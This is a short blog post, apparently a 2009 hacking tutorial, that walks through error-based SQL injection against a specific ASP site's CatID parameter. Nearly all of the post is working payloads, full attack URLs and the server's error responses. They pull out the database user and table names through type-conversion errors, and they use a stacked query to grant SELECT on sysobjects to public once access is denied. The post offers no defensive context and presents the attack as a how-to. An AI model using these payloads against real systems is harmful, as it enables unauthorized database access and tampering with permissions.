Home » SQL Injection

How I Hacked when Select disabled :) [SQL Tut]

6 February 2009 23 views No Comment

Today , i will write a little tutorial for you:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ”.

/ListByCategory.asp, line 25

and 1=convert(int,system_user)--

http://amboi.com/ListByCategory.asp?CatID=111%20and%201=convert(int,system_user)--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘DBAdmin’ to a column of data type int.

/ListByCategory.asp, line 25

and 1=convert(int,(select top 1 table_name from information_schema.tables))--

http://amboi.com/ListByCategory.asp?CatID=111%20and%201=convert(int,(select%20top%201%20table_name%20from%20information_schema.tables))--

Microsoft OLE DB Provider for ODBC Drivers error '80040e09'

[Microsoft][ODBC SQL Server Driver][SQL Server]SELECT permission denied on object ’sysobjects’, database ‘Auction’, owner ‘dbo’.

/ListByCategory.asp, line 25

;use Auction grant select on sysobjects to public--

http://amboi.com/ListByCategory.asp?CatID=111%20;use%20Auction%20grant%20select%20on%20sysobjects%20to%20public--

http://amboi.com/ListByCategory.asp?CatID=111%20and%201=convert(int,(select%20top%201%20table_name%20from%20information_schema.tables))--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘Age_Range’ to a column of data type int.

/ListByCategory.asp, line 25

Share and Enjoy:
(No Ratings Yet)
 Loading ...

Leave your response!

Add your comment below, or trackback from your own site. You can also subscribe to these comments via RSS.

Be nice. Keep it clean. Stay on topic. No spam.

You can use these tags:
<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>

This is a Gravatar-enabled weblog. To get your own globally-recognized-avatar, please register at Gravatar.